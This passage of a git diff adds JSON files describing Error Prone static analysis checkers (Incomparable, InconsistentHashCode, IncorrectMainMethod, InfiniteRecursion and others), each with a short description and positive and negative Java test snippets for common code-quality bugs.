assertThat(message.getMessage()).isNotNull();\n // BUG: Diagnostic contains: assertThat(message.hasMessage()).isTrue()\n ProtoTruth.assertThat(message.getMessage()).isNotNull();\n }\n }" + }, + { + "description": "assertions_negative", + "expected-problems": null, + "expected-linenumbers": [ + 399 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertNotNull;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import java.util.List;\n\n class Test {\n void test() {\n TestProtoMessage message = TestProtoMessage.newBuilder().build();\n TestFieldProtoMessage field = message.getMessage();\n assertNotNull(\"Message\", message.getMessage());\n assertThat(message.getMessage()).isNotNull();\n }\n }" + }, + { + "description": "optional", + "expected-problems": null, + "expected-linenumbers": [ + 424 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import java.util.Optional;\n\n class Test {\n Optional test() {\n TestProtoMessage message = TestProtoMessage.newBuilder().build();\n // BUG: Diagnostic contains: Optional.of(message.getMessage())\n return Optional.ofNullable(message.getMessage());\n }\n }" + }, + { + "description": "guavaOptional", + "expected-problems": null, + "expected-linenumbers": [ + 444 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import java.util.Optional;\n\n class Test {\n Optional test() {\n TestProtoMessage message = TestProtoMessage.newBuilder().build();\n // BUG: Diagnostic contains: Optional.of(message.getMessage())\n return Optional.ofNullable(message.getMessage());\n }\n }" + }, + { + "description": "optionalGet", + "expected-problems": null, + "expected-linenumbers": [ + 464 + ], + "code": "import java.util.Optional;\n\n public class Test {\n public boolean o(Optional o) {\n // BUG: Diagnostic contains: o.isEmpty()\n return o.get() == null;\n }\n }" + }, + { + "description": "optionalGetSwitched", + "expected-problems": null, + "expected-linenumbers": [ + 482 + ], + "code": "import java.util.Optional;\n\n public class Test {\n public boolean o(Optional o) {\n return switch (o.get()) {\n case null -> true;\n case \"\" -> false;\n default -> false;\n };\n }\n }\n \n\n import java.util.Optional;\n\n public class Test {\n public boolean o(Optional o) {\n return switch (o.get()) {\n case \"\" -> false;\n default -> false;\n };\n }\n }" + }, + { + "description": "optionalGetSwitched_noNullCheck", + "expected-problems": null, + "expected-linenumbers": [ + 517 + ], + "code": "import java.util.Optional;\n\n public class Test {\n public boolean o(Optional o) {\n return switch (o.get()) {\n case \"\" -> false;\n default -> false;\n };\n }\n }" + }, + { + "description": "guavaOptionalGet", + "expected-problems": null, + "expected-linenumbers": [ + 538 + ], + "code": "import com.google.common.base.Optional;\n\n public class Test {\n public boolean o(Optional o) {\n // BUG: Diagnostic contains: !o.isPresent()\n return o.get() == null;\n }\n }" + }, + { + "description": "multimapGet", + "expected-problems": null, + "expected-linenumbers": [ + 556 + ], + "code": "import com.google.common.collect.Multimap;\n\n public class Test {\n public boolean o(Multimap m) {\n // BUG: Diagnostic contains: !m.containsKey(\"foo\")\n return m.get(\"foo\") == null;\n }\n }" + }, + { + "description": "listMultimapGet", + "expected-problems": null, + "expected-linenumbers": [ + 574 + ], + "code": "import com.google.common.collect.ListMultimap;\n\n public class Test {\n public boolean o(ListMultimap m) {\n // BUG: Diagnostic contains: !m.containsKey(\"foo\")\n return m.get(\"foo\") == null;\n }\n }" + }, + { + "description": "tables", + "expected-problems": null, + "expected-linenumbers": [ + 592 + ], + "code": "import com.google.common.collect.Table;\n\n public class Test {\n public void o(Table t) {\n // BUG: Diagnostic contains: !t.containsRow(\"foo\")\n boolean b1 = t.row(\"foo\") == null;\n // BUG: Diagnostic contains: !t.containsColumn(\"foo\")\n boolean b2 = t.column(\"foo\") == null;\n }\n }" + }, + { + "description": "primitives", + "expected-problems": null, + "expected-linenumbers": [ + 612 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n\n public class Test {\n public void o(int i, Integer boxed) {\n // BUG: Diagnostic contains:\n assertThat(i).isNotNull();\n assertThat(boxed).isNotNull();\n }\n }" + }, + { + "description": "valueOf", + "expected-problems": null, + "expected-linenumbers": [ + 631 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.util.concurrent.TimeUnit;\n\n public class Test {\n public void o(String s) {\n // BUG: Diagnostic contains:\n assertThat(TimeUnit.valueOf(s)).isNotNull();\n // BUG: Diagnostic contains:\n assertThat(Integer.valueOf(s)).isNotNull();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Incomparable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Incomparable.json new file mode 100644 index 0000000..e635347 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Incomparable.json @@ -0,0 +1,30 @@ +{ + "name": "Incomparable", + "language": "java", + "description": "Types contained in sorted collections must implement Comparable.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 87, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import java.util.TreeMap;\n import java.util.TreeSet;\n import java.util.Set;\n import java.util.Collections;\n\n final class Test {\n void f() {\n // BUG: Diagnostic contains: Test\n new TreeMap();\n // BUG: Diagnostic contains: Test\n new TreeSet();\n // BUG: Diagnostic contains: Test\n Set xs = Collections.synchronizedSet(new TreeSet<>());\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 55 + ], + "code": "import java.util.TreeMap;\n import java.util.TreeSet;\n import java.util.Set;\n import java.util.Collections;\n\n class Test {\n void f() {\n new TreeMap();\n new TreeSet();\n Set xs = Collections.synchronizedSet(new TreeSet<>());\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IncompatibleModifiersChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IncompatibleModifiersChecker.json new file mode 100644 index 0000000..a51ea66 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IncompatibleModifiersChecker.json @@ -0,0 +1,78 @@ +{ + "name": "IncompatibleModifiersChecker", + "language": "java", + "description": "This annotation has incompatible modifiers as specified by its @IncompatibleModifiers annotation", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 114, + "branches": 6, + "apis": 2, + "test": [ + { + "description": "annotationWithIncompatibleModifierOnClassFails", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "package test;\n\nimport test.NotAbstract;\n\n// BUG: Diagnostic contains: The annotation '@NotAbstract' has specified that it should not be used\n// together with the following modifiers: [abstract]\n@NotAbstract\nabstract class IncompatibleModifiersTestCase {}" + }, + { + "description": "annotationWithIncompatibleModifierOnFieldFails", + "expected-problems": null, + "expected-linenumbers": [ + 89 + ], + "code": "package test;\n\nimport test.NotPrivateOrFinal;\n\npublic class IncompatibleModifiersTestCase {\n // BUG: Diagnostic contains: The annotation '@NotPrivateOrFinal' has specified that it should not\n // be used together with the following modifiers: [final]\n @NotPrivateOrFinal public final int n = 0;\n}" + }, + { + "description": "annotationWithIncompatibleModifierOnMethodFails", + "expected-problems": null, + "expected-linenumbers": [ + 108 + ], + "code": "package test;\n\nimport test.NotPrivateOrFinal;\n\npublic class IncompatibleModifiersTestCase {\n // BUG: Diagnostic contains: The annotation '@NotPrivateOrFinal' has specified that it should not\n // be used together with the following modifiers: [private]\n @NotPrivateOrFinal\n private void foo() {}\n}" + }, + { + "description": "annotationWithTwoIncompatibleModifiersFails", + "expected-problems": null, + "expected-linenumbers": [ + 128 + ], + "code": "package test;\n\nimport test.NotPublicOrFinal;\n\npublic class IncompatibleModifiersTestCase {\n // BUG: Diagnostic contains: The annotation '@NotPublicOrFinal' has specified that it should not\n // be used together with the following modifiers: [public, final]\n @NotPublicOrFinal public static final int FOO = 0;\n}" + }, + { + "description": "annotationWithCompatibleModifiersSucceeds", + "expected-problems": null, + "expected-linenumbers": [ + 147 + ], + "code": "package test;\n\n import test.NotAbstract;\n\n public class IncompatibleModifiersTestCase {}" + }, + { + "description": "negativeNestedAnnotations", + "expected-problems": null, + "expected-linenumbers": [ + 163 + ], + "code": "package test;\n\n @interface Foos {\n Foo[] value();\n }\n\n @interface Foo {}\n\n @Foos({@Foo, @Foo})\n public class Test {}" + }, + { + "description": "negativePackageAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 184 + ], + "code": "package testdata;\n\n import java.lang.annotation.Target;\n import java.lang.annotation.ElementType;\n\n @Target(ElementType.PACKAGE)\n public @interface Anno {}\n \n\n @Anno\n package testdata;" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 207 + ], + "code": "package test;\n\n import static javax.lang.model.element.Modifier.ABSTRACT;\n import com.google.errorprone.annotations.IncompatibleModifiers;\n\n @IncompatibleModifiers(ABSTRACT)\n public @interface NotAbstract {}\n \n\n package test;\n\n import test.NotAbstract;\n\n @NotAbstract\n abstract class IncompatibleModifiersTestCase {}\n \n\n package test;\n\n import test.NotAbstract;\n\n @NotAbstract\n class IncompatibleModifiersTestCase {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InconsistentCapitalization.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InconsistentCapitalization.json new file mode 100644 index 0000000..9d785ba --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InconsistentCapitalization.json @@ -0,0 +1,102 @@ +{ + "name": "InconsistentCapitalization", + "language": "java", + "description": "It is confusing to have a field and a parameter under the same scope that differ only in capitalization.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 197, + "branches": 24, + "apis": 5, + "test": [ + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/** Negative cases for {@link com.google.errorprone.bugpatterns.InconsistentCapitalizationTest}. */\npublic class InconsistentCapitalizationNegativeCases {\n\n public void doesntConflictWithOtherVariables() {\n int aa;\n int aA;\n }\n\n public void doesntConflictWithVariableOutOfScope() {\n if (true) {\n int a;\n }\n if (true) {\n int a;\n }\n }\n\n public void doesntConflictBetweenForVariables() {\n for (int i = 0; i < 1; i++) {}\n\n for (int i = 0; i < 1; i++) {}\n }\n\n private class DoesntConflictBetweenMethods {\n int a;\n\n void a() {}\n\n void b(int baba) {\n int c = baba;\n if (c == baba) {}\n }\n\n void c() {\n int c;\n }\n }\n\n private static class DoesntConflictWithClass {\n\n static int B;\n\n static class A {\n\n static int A;\n }\n\n class B {}\n }\n\n private static class DoesAllowUpperCaseStaticVariable {\n\n static int A;\n\n void method() {\n int a;\n }\n }\n\n private enum DoesntConflictWithUpperCaseEnum {\n TEST;\n\n private Object test;\n }\n\n public void doesntConflictWithMethodParameter(long aa) {\n int aA;\n }\n\n private class DoesntConflictWithConstructorParameter {\n\n DoesntConflictWithConstructorParameter(Object aa) {\n Object aA;\n }\n }\n\n private class DoesntConflictOutOfScope {\n\n class A {\n private Object aaa;\n private Object aab;\n }\n\n class B {\n private Object aaA;\n\n void method(String aaB) {\n char aAb;\n }\n }\n }\n\n private static class DoesntReplaceMember {\n\n class A {\n Object aa;\n Object ab;\n\n void method() {\n B b = new B();\n aa = b.aA;\n ab = b.aB.aA;\n new B().aA();\n aa.equals(ab);\n aa.equals(b.aB.aA);\n aa.equals(b.aB);\n }\n }\n\n class B {\n Object aA;\n C aB = new C();\n\n void aA() {}\n }\n\n class C {\n Object aA;\n }\n }\n\n class DoesntConflictWithNested {\n Object aa;\n Object ab;\n\n class Nested {\n Object aB;\n\n Nested(Object aa) {\n DoesntConflictWithNested.this.aa = aa;\n }\n\n class Nested2 {\n Object aB;\n\n Nested2(Object aa) {\n DoesntConflictWithNested.this.aa = aa;\n }\n }\n }\n }\n\n static class DoesntFixExternalParentClassFieldMatch {\n\n static class Parent {\n Object aa;\n }\n\n static class Child extends Parent {\n\n Child(Object aA) {\n aa = aA;\n }\n }\n }\n}\\" + }, + { + "description": "correctsInconsistentVariableNameInMethodDefinitionToFieldCase", + "expected-problems": null, + "expected-linenumbers": [ + 202 + ], + "code": "class Test {\n Object aa;\n\n void method(Object aA) {\n this.aa = aA;\n }\n }\n \n\n class Test {\n Object aa;\n\n void method(Object aa) {\n this.aa = aa;\n }\n }" + }, + { + "description": "correctsInconsistentVariableNameInConstructorDefinitionToFieldCase", + "expected-problems": null, + "expected-linenumbers": [ + 230 + ], + "code": "class Test {\n Object aa;\n\n Test(Object aA) {\n this.aa = aA;\n }\n }\n \n\n class Test {\n Object aa;\n\n Test(Object aa) {\n this.aa = aa;\n }\n }" + }, + { + "description": "correctsInconsistentVariableNameInLambdaDefinitionToFieldCase", + "expected-problems": null, + "expected-linenumbers": [ + 258 + ], + "code": "import java.util.function.Function;\n\n class Test {\n Object ea;\n\n Test() {\n Function f =\n (eA) -> {\n this.ea = eA;\n return eA;\n };\n }\n }\n \n\n import java.util.function.Function;\n\n class Test {\n Object ea;\n\n Test() {\n Function f =\n (ea) -> {\n this.ea = ea;\n return ea;\n };\n }\n }" + }, + { + "description": "correctsInconsistentVariableNameInConstructorDefinitionWithMultipleOccurrencesToFieldCase", + "expected-problems": null, + "expected-linenumbers": [ + 298 + ], + "code": "class Test {\n Object aa;\n\n Test(Object aA) {\n this.aa = aA;\n if (aA == this.aa) {\n for (Object i = aA; ; ) {}\n }\n }\n }\n \n\n class Test {\n Object aa;\n\n Test(Object aa) {\n this.aa = aa;\n if (aa == this.aa) {\n for (Object i = aa; ; ) {}\n }\n }\n }" + }, + { + "description": "correctsInconsistentVariableNameToFieldCaseAndQualifiesField", + "expected-problems": null, + "expected-linenumbers": [ + 333 + ], + "code": "class Test {\n Object aa;\n\n Test(Object aA) {\n aa = aA;\n if (aA == aa) {}\n }\n }\n \n\n class Test {\n Object aa;\n\n Test(Object aa) {\n this.aa = aa;\n if (aa == this.aa) {}\n }\n }" + }, + { + "description": "correctsInconsistentVariableNameToFieldCaseAndQualifiesNestedClassField", + "expected-problems": null, + "expected-linenumbers": [ + 363 + ], + "code": "import java.util.function.Function;\n\n class Test {\n Object aa;\n Object ab;\n\n class Nested {\n Object aB;\n\n Nested(Object aA) {\n aa = aA;\n if (aa == aA) {}\n Test.this.aa = aA;\n }\n }\n }\n \n\n import java.util.function.Function;\n\n class Test {\n Object aa;\n Object ab;\n\n class Nested {\n Object aB;\n\n Nested(Object aa) {\n Test.this.aa = aa;\n if (Test.this.aa == aa) {}\n Test.this.aa = aa;\n }\n }\n }" + }, + { + "description": "correctsInconsistentVariableNameToFieldCaseAndQualifiesNestedChildClassField", + "expected-problems": null, + "expected-linenumbers": [ + 409 + ], + "code": "import java.util.function.Function;\n\n class Test {\n static class A {\n Object aa;\n\n static class Nested extends A {\n Nested(Object aA) {\n aa = aA;\n if (aa == aA) {}\n super.aa = aA;\n }\n }\n }\n }\n \n\n import java.util.function.Function;\n\n class Test {\n static class A {\n Object aa;\n\n static class Nested extends A {\n Nested(Object aa) {\n super.aa = aa;\n if (super.aa == aa) {}\n super.aa = aa;\n }\n }\n }\n }" + }, + { + "description": "correctsInconsistentVariableNameToFieldCaseInAnonymousClassAndQualifiesNestedChildClassField", + "expected-problems": null, + "expected-linenumbers": [ + 453 + ], + "code": "import java.util.function.Function;\n\n class Test {\n Object aa;\n Function f =\n new Function() {\n public Object apply(Object aA) {\n aa = aA;\n return aA;\n }\n };\n }\n \n\n import java.util.function.Function;\n\n class Test {\n Object aa;\n Function f =\n new Function() {\n public Object apply(Object aa) {\n Test.this.aa = aa;\n return aa;\n }\n };\n }" + }, + { + "description": "clash", + "expected-problems": null, + "expected-linenumbers": [ + 493 + ], + "code": "class Test {\n Object _DocumentObjectData_QNAME;\n Object _DocumentObjectdata_QNAME;\n }\n \n\n class Test {\n Object _DocumentObjectData_QNAME;\n Object _DocumentObjectdata_QNAME;\n }" + }, + { + "description": "i1008", + "expected-problems": null, + "expected-linenumbers": [ + 515 + ], + "code": "public class Callback {\n interface WaitHandler {} // ignore\n\n private final WaitHandler waitHandler;\n\n // BUG: Diagnostic contains:\n protected Callback(final WaitHandler waithandler) {\n this.waitHandler = waithandler;\n }\n\n public static Callback doOnSuccess() {\n return new Callback(null) {};\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InconsistentHashCode.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InconsistentHashCode.json new file mode 100644 index 0000000..afffafe --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InconsistentHashCode.json @@ -0,0 +1,62 @@ +{ + "name": "InconsistentHashCode", + "language": "java", + "description": "Including fields in hashCode which are not compared in equals violates the contract of hashCode.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 207, + "branches": 25, + "apis": 3, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "class Test {\n private int a;\n private int b;\n\n @Override\n public boolean equals(Object o) {\n Test that = (Test) o;\n return a == that.a && b == that.b;\n }\n\n @Override\n public int hashCode() {\n return a + 31 * b;\n }\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "class Test {\n private int foo;\n private int bar;\n\n @Override\n public boolean equals(Object o) {\n Test that = (Test) o;\n return foo == that.foo;\n }\n\n @Override\n // BUG: Diagnostic contains: bar\n public int hashCode() {\n return foo + 31 * bar;\n }\n }" + }, + { + "description": "positiveViaGetter", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "class Test {\n private int foo;\n private int bar;\n\n @Override\n public boolean equals(Object o) {\n Test that = (Test) o;\n return foo == that.foo;\n }\n\n @Override\n // BUG: Diagnostic contains: bar\n public int hashCode() {\n return foo + 31 * getBar();\n }\n\n private int getBar() {\n return bar;\n }\n }" + }, + { + "description": "instanceEquality", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "class Test {\n private int a;\n private int b;\n\n @Override\n public boolean equals(Object o) {\n return this == o;\n }\n\n @Override\n public int hashCode() {\n return a + 31 * b;\n }\n }" + }, + { + "description": "memoizedHashCode", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "class Test {\n private int a;\n private int b;\n private int hashCode;\n\n @Override\n public boolean equals(Object o) {\n Test that = (Test) o;\n return this.a == that.a && this.b == that.b;\n }\n\n @Override\n public int hashCode() {\n return hashCode;\n }\n }" + }, + { + "description": "breakLabeledBlock", + "expected-problems": null, + "expected-linenumbers": [ + 165 + ], + "code": "class Test {\n private int a;\n private int b;\n private int hashCode;\n\n public void accessesLocalWithLabeledBreak() {\n label:\n {\n switch (a) {\n case 0:\n break label;\n }\n }\n }\n\n @Override\n public boolean equals(Object o) {\n Test that = (Test) o;\n return this.a == that.a && this.b == that.b;\n }\n\n @Override\n public int hashCode() {\n return hashCode;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IncorrectMainMethod.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IncorrectMainMethod.json new file mode 100644 index 0000000..c7de40c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IncorrectMainMethod.json @@ -0,0 +1,126 @@ +{ + "name": "IncorrectMainMethod", + "language": "java", + "description": "'main' methods must be public, static, and void", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 73, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "class Test {\n public static void main(String[] args) {}\n }" + }, + { + "description": "negativeName", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "class Test {\n public static void spain(String[] args) {}\n }" + }, + { + "description": "negativeImplicitPublic", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "interface Test {\n static void main(String[] args) {}\n }" + }, + { + "description": "negativeVarargs", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "class Test {\n public static void main(String... args) {}\n }" + }, + { + "description": "positiveNonPublic", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n static void main(String[] args) {}\n }" + }, + { + "description": "positiveNonStatic", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n public void main(String[] args) {}\n }" + }, + { + "description": "negativeNonPublic", + "expected-problems": null, + "expected-linenumbers": [ + 120 + ], + "code": "class Test {\n static void main(String[] args) {}\n }" + }, + { + "description": "negativeNonStatic", + "expected-problems": null, + "expected-linenumbers": [ + 134 + ], + "code": "class Test {\n public void main(String[] args) {}\n }" + }, + { + "description": "positiveNonVoid", + "expected-problems": null, + "expected-linenumbers": [ + 148 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n public static int main(String[] args) {\n return 0;\n }\n }" + }, + { + "description": "negativeArity", + "expected-problems": null, + "expected-linenumbers": [ + 164 + ], + "code": "class Test {\n static void main(String[] args, String arg) {}\n }" + }, + { + "description": "negativeNotArray", + "expected-problems": null, + "expected-linenumbers": [ + 177 + ], + "code": "class Test {\n static void main(String args) {}\n }" + }, + { + "description": "negativeNotStringArray", + "expected-problems": null, + "expected-linenumbers": [ + 190 + ], + "code": "class Test {\n static void main(Object[] args) {}\n }" + }, + { + "description": "removePrivate", + "expected-problems": null, + "expected-linenumbers": [ + 203 + ], + "code": "class Test {\n private static void main(String[] args) {}\n }\n \n\n class Test {\n public static void main(String[] args) {}\n }" + }, + { + "description": "removeProtected", + "expected-problems": null, + "expected-linenumbers": [ + 224 + ], + "code": "class Test {\n protected static void main(String[] args) {}\n }\n \n\n class Test {\n public static void main(String[] args) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IncrementInForLoopAndHeader.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IncrementInForLoopAndHeader.json new file mode 100644 index 0000000..3b50d09 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IncrementInForLoopAndHeader.json @@ -0,0 +1,30 @@ +{ + "name": "IncrementInForLoopAndHeader", + "language": "java", + "description": "This for loop increments the same variable in the header and in the body", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 79, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author mariasam@google.com (Maria Sam)\n */\n public class IncrementInForLoopAndHeaderPositiveCases {\n\n public void basicTest() {\n // BUG: Diagnostic contains: increment\n for (int i = 0; i < 10; i++) {\n i++;\n }\n }\n\n public void decrement() {\n // BUG: Diagnostic contains: increment\n for (int i = 0; i < 10; i++) {\n i--;\n }\n }\n\n public void preInc() {\n // BUG: Diagnostic contains: increment\n for (int i = 0; i < 10; i++) {\n --i;\n }\n }\n\n public void multipleStatements() {\n // BUG: Diagnostic contains: increment\n for (int i = 0; i < 10; i++) {\n --i;\n int a = 0;\n }\n }\n\n public void multipleUpdates() {\n // BUG: Diagnostic contains: increment\n for (int i = 0, a = 1; i < 10; i++, a++) {\n a++;\n }\n }\n\n public void multipleUpdatesOtherVar() {\n // BUG: Diagnostic contains: increment\n for (int i = 0, a = 1; i < 10; i++, a++) {\n i++;\n }\n }\n\n public void multipleUpdatesBothVars() {\n // BUG: Diagnostic contains: increment\n for (int i = 0, a = 1; i < 10; i++, a++) {\n a++;\n i++;\n }\n }\n\n public void nestedFor() {\n for (int i = 0; i < 10; i++) {\n // BUG: Diagnostic contains: increment\n for (int a = 0; a < 10; a++) {\n a--;\n }\n }\n }\n\n public void nestedForBoth() {\n // BUG: Diagnostic contains: increment\n for (int i = 0; i < 10; i++) {\n i++;\n // BUG: Diagnostic contains: increment\n for (int a = 0; a < 10; a++) {\n a--;\n }\n }\n }\n\n public void expressionStatement() {\n // BUG: Diagnostic contains: increment\n for (int i = 0; i < 10; i++) i++;\n }\n }\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.List;\n\n /** Created by mariasam on 7/20/17. */\n public class IncrementInForLoopAndHeaderNegativeCases {\n\n public void arrayInc() {\n for (int[] level = {}; level[0] > 10; level[0]--) {\n System.out.println(\"test\");\n }\n }\n\n public void emptyForLoop() {\n for (int i = 0; i < 2; i++) {}\n }\n\n public void inIf() {\n for (int i = 0; i < 20; i++) {\n if (i == 7) {\n i++;\n }\n }\n }\n\n public void inWhile() {\n for (int i = 0; i < 20; i++) {\n while (i == 7) {\n i++;\n }\n }\n }\n\n public void inDoWhile() {\n for (int i = 0; i < 20; i++) {\n do {\n i++;\n } while (i == 7);\n }\n }\n\n public void inFor() {\n for (int i = 0; i < 20; i++) {\n for (int a = 0; a < i; a++) {\n i++;\n }\n }\n }\n\n public void inForEach(List list) {\n for (int i = 0; i < 10; i++) {\n for (String s : list) {\n i++;\n }\n }\n }\n\n public void otherVarInc() {\n for (int i = 0; i < 2; i++) {\n int a = 0;\n a++;\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IndexOfChar.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IndexOfChar.json new file mode 100644 index 0000000..a19adc1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IndexOfChar.json @@ -0,0 +1,30 @@ +{ + "name": "IndexOfChar", + "language": "java", + "description": "The first argument to indexOf is a Unicode code point, and the second is the index to start the search from", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 64, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n {\n // BUG: Diagnostic contains: \"\".indexOf('$', 0);\n \"\".indexOf(0, '$');\n // BUG: Diagnostic contains: \"\".lastIndexOf('$', 0);\n \"\".lastIndexOf(0, '$');\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "class Test {\n {\n \"\".indexOf('$', 0);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InexactVarargsConditional.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InexactVarargsConditional.json new file mode 100644 index 0000000..844a159 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InexactVarargsConditional.json @@ -0,0 +1,30 @@ +{ + "name": "InexactVarargsConditional", + "language": "java", + "description": "Conditional expression in varargs call contains array and non-array arguments", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 67, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.Arrays;\n\n class Test {\n public static void main(String[] args) {\n Object[] a = {1, 2};\n Object b = \"hello\";\n for (boolean flag : new boolean[] {true, false}) {\n // BUG: Diagnostic contains: 'f(0, flag ? a : new Object[] {b});'?\n f(0, flag ? a : b);\n }\n }\n\n static void f(int x, Object... xs) {\n System.err.println(Arrays.deepToString(xs));\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "import java.util.Arrays;\n\n class Test {\n public static void main(String[] args) {\n Object[] a = {1, 2};\n Object b = \"hello\";\n f(0, a);\n f(0, b);\n for (boolean flag : new boolean[] {true, false}) {\n f(0, 1, flag ? a : b);\n }\n }\n\n static void f(int x, Object... xs) {\n System.err.println(Arrays.deepToString(xs));\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InfiniteRecursion.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InfiniteRecursion.json new file mode 100644 index 0000000..3edf8f4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InfiniteRecursion.json @@ -0,0 +1,214 @@ +{ + "name": "InfiniteRecursion", + "language": "java", + "description": "This method always recurses, and will cause a StackOverflowError", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 234, + "branches": 26, + "apis": 4, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n void f(int x) {}\n\n void f() {\n // BUG: Diagnostic contains:\n f();\n }\n\n int g() {\n return 0;\n }\n\n int g(int x) {\n // BUG: Diagnostic contains:\n return g(x);\n }\n }" + }, + { + "description": "positiveExplicitThis", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "package p;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains:\n this.f();\n }\n\n void g() {\n // BUG: Diagnostic contains:\n (this).g();\n }\n\n void h() {\n // BUG: Diagnostic contains:\n Test.this.h();\n }\n\n void i() {\n // BUG: Diagnostic contains:\n (p.Test.this).i();\n }\n }" + }, + { + "description": "positiveMultipleStatementsFirst", + "expected-problems": null, + "expected-linenumbers": [ + 91 + ], + "code": "class Test {\n Test f() {\n // BUG: Diagnostic contains:\n f();\n return this;\n }\n }" + }, + { + "description": "positiveStatic", + "expected-problems": null, + "expected-linenumbers": [ + 108 + ], + "code": "class Test {\n static void f(int 